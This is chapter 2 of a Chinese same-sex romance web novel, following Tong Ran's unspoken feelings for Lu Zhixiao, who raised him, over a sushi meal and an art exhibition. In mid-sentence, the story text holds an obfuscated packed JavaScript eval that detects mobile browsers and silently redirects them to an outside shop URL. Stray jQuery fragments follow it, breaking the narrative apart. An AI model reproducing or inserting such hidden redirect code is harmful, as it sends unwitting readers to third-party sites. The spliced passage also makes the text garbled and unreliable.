2. 第 2 章

作品:《直男Daddy不准我喜欢野男人

    童冉盯着陆执骁的脸,一时竟分不清自己是想笑还是想哭。


    好一个补脑。


    这人怕是补成脑干超重,也参不透自己对他的那点心思。


    童冉一路默默腹诽,跟着陆执骁进了那家日料店。


    抬头看一眼招牌——钝感。


    不愧是陆执骁选的店。名字都透着一股陆执骁式的“迟钝感”。


    店内灯光幽微,榻榻米很软,陆执骁翻看着菜单,把几道招牌菜全点了一遍。


    蓝鳍金枪鱼、北海道海胆、鲜甜虾泥、炭烤牛舌、蒲烧鳗鱼三吃……


    “还想吃什么?你再看看。”他把菜单递给童冉。


    “不看了,”童冉摆手,“我无条件相信饲养员。”


    陆执骁笑了笑,饲养员和小猪,是他们两人相互称呼对方的昵称。


    童冉10岁那年被接到陆家,刚来的时候不爱说话,也不吃饭,小小的一只缩在卧室角落。


    陆执骁就端着营养餐上楼,搬椅子坐在小孩跟前,一口一口把饭喂到他嘴边。


    起初童冉不理。陆执骁就等。饭菜凉了就去热一道,再端上来。


    整整花了四个月,童冉才慢慢向他敞开心扉。后来喂饭就成了习惯。


    某次吃饭,童冉看到电视里在播放饲养员喂小猪。


    而他此刻也正被陆执骁一勺一勺喂山药排骨羹。


    一抹很微妙的羞耻感,悄悄涌上心头。


    他推开陆执骁的汤匙,拧着鼻子,指了指电视机。


    陆执骁扫了眼,笑了,戳了戳他的脑门,说,“我喂小猪,小猪才能长得壮,以后你就是我的小猪了,行吗。”


    童冉眨眨眼,忽然发现“小猪”这两个字从陆执骁嘴里说出来,竟出奇得亲切。


    “嗯也行,”他认真想了想,“那以后你就是饲养员?”


    “行,成交!”陆执骁爽快说。


    还在回忆着,服务生开始上菜了。


    童冉刚才打了架,右手指关节现在还肿着,拿筷子时一不小心碰到了。


    “……嘶。”他皱了下眉。


    下一秒,一只指骨分明的大手直接抽走了他手里的木筷。


    陆执骁极其自然地夹起一块金枪鱼,递到童冉唇边,“张嘴。”


    童冉抬眼看向他,乖乖张嘴咬下。鱼肉鲜美,他吃得稍微有点急,一滴浅色的酱汁不小心沾在了嘴边。


    童冉仰了下头,正要抽纸,陆执骁已经伸过手来,粗粝的指腹擦过他柔软的唇角,将那滴酱汁轻轻抹去了。


    “!”


    如此亲昵的触碰,让童冉心脏咚咚跳快,不由得产生了一种错觉,仿佛自己不是被当做弟弟,而是被当做更亲密的恋人在对待。


    然而,这丝隐秘的悸动还没来得及蔓延开,陆执骁已经擦了擦手,夹起第二块鱼肉塞给他。


    “多吃点。深海鱼DHA含量高,补脑效果最好。”


    “……”


    童冉口中的鱼肉瞬间就不香了。


    他使劲咀嚼了两下,像是要把“补脑”两个字嚼碎了咽下去。


    正在此时,陆执骁手机响了。


    来电显示:陆屿轩。他的亲弟弟。


    陆执骁放下筷子,接起电话,“什么事。”


    电话那头传来陆屿轩咋咋呼呼的声音:“哥!下午五点我要去体育馆看演唱会,你送我过去呗!”


    “没空。”陆执骁毫不犹豫地拒绝,“公司忙,你自己打车去。”


    “不是吧,你是我亲哥吗?”陆屿轩不满地嚷嚷,“打车多没面子啊,而且我这还背着应援物料呢……”


    “嘟——”


    陆执骁无情地挂断了电话。


    童冉在一旁托腮看着他,小鹿眼微微眯起:“这次演唱会陆屿轩期待了好久了,你不送他去,不怕他在家闹翻天?”


    “呵,”陆执骁冷笑,“看几个奇装异服的人在台上乱蹦,不务正业,我没义务惯着他。”


    童冉眼珠一转,往前倾了倾身,又试探说,“对了,我下午没课,想去美术馆看展。今天最后一天,七点就撤展了。你有空陪我去吗?”


    陆执骁怔了怔。


    他下午有个高层战略会,很重要。会议大概持续三到四个小时。


    见他迟疑,童冉眼睫垂了下去,叹了口气,很懂事地说:“忙就算了,没关系,我自己去。”


    陆执骁看着他,眉头微动。片刻,他拿起手机,给秘书发了条语音。


    “通知下去,下午的战略会议提前到一点半开始。五点之后我还有其他事。”


    童冉眼睛亮了亮,唰得抬起头。


    陆执骁放下手机,眉眼间的冷硬全都化作了纵容:“五点我去接你,来得及。看展是正经事,我理应支持。”


    童冉扬起嘴角,心里像是淌进了蜜:“谢谢哥哥,五点,我等你~”


    心脏又咚咚跃动起来,比刚刚跳得还要快。


    陆执骁的“双标”让之前那种错觉再一次涌上心头。


    对亲弟弟冷酷无情,对自己百依百顺。这简直就像一剂慢性毒药,在滋长他内心深处那抹最见不得光的贪婪。


    他甚至会想:如果他不是陆执骁从小养大的弟弟就好了。


    可如果他不是,陆执骁还会这么对他吗?


    *


    五点整,黑色的迈巴赫准时停在童冉所在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17433214|200941||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的咖啡馆门口。


    两人驱车赶到市中心的美术馆。


    本次展览的主题叫做:【爱是灵魂的越狱】。


    陆执骁对绘画一窍不通,全程默默跟在童冉身后,充当完美陪同者。


    两人一路走,一路看,不知不觉走到展厅尽头的一幅巨型油画前。


    童冉停住脚,目不转睛地盯着画作。那幅画,名字叫做《双生》。


    画面极具冲击力,下幅是赤红如血的岩浆与荆棘,上幅是圣洁空灵的云海与宫殿。


    画中的两个男人不着寸缕,紧紧相拥,身体交叠如一体,深陷下方炼狱之中。


    烈焰舔舐着他们的背脊,荆棘刺穿掌心,每一寸肌肤仿佛都在承受世俗最严厉的审判与剧痛。


    但在他们的头顶之上,两道半透明的光影正挣脱肉身,比翼齐飞。雪白的羽翼掠过火海,直抵云端,在那片宫殿里获得幸福与永生。


    相爱,是肉身下地狱,灵魂上天堂。


    不爱,是肉身在人间,灵魂入坟墓。


    童冉的睫毛簌簌轻颤,呼吸变得压抑。


    看着画中抵死缠绵的同性爱人,那么炽烈,那么自由,也那么的……遥不可及。


    他忽然很想哭。


    此时,陆执骁从他身侧靠过来,高大的身躯将他整个人笼罩在一片阴影里,一转头看到童冉在揉眼睛,马上搂住他的肩膀,关切问:


    “怎么了?看个画眼睛都看红了?是不是画面太刺眼,不舒服了?”


    “……”


    童冉悲怆的情绪被撞了个七零八落。


    直男的脑回路,还真就是朴实无华,且抽象。


    陆执骁听不到他的吐槽,只当他是真的眼睛不舒服。


    他挪到童冉身后,温热的手掌覆上青年的眼睛,轻轻往后一带,童冉整个身体便不受控地后仰,脊背贴在了他那片结实的胸口上。


    男人的气息从头顶落下。


    “不舒服就先别看了,”陆执骁低声说,磁沉的嗓音贴着童冉的耳廓,“靠着我,休息一下,好吗?”


    童冉心头猛地一颤,感受着对方沉稳有力的心跳,起伏的呼吸,还有衬衣布料下绷紧的肌肉线条……


    忽然,他伸出手,紧紧抓住了男人的手腕。


    “哥哥,我能问你一个问题吗?”


    陆执骁垂眸,点了点头:“你问。”


    童冉直起身,拉开他的手,睫毛还是湿的,眼尾泛着红。


    可那双眼睛里,却燃着一簇灼亮的火光。


    他望向陆执骁,滚动着喉结,开口说:“如果,你爱上一个同性,你会不会为了他,去走一条满是荆棘,但也满是快乐的路?”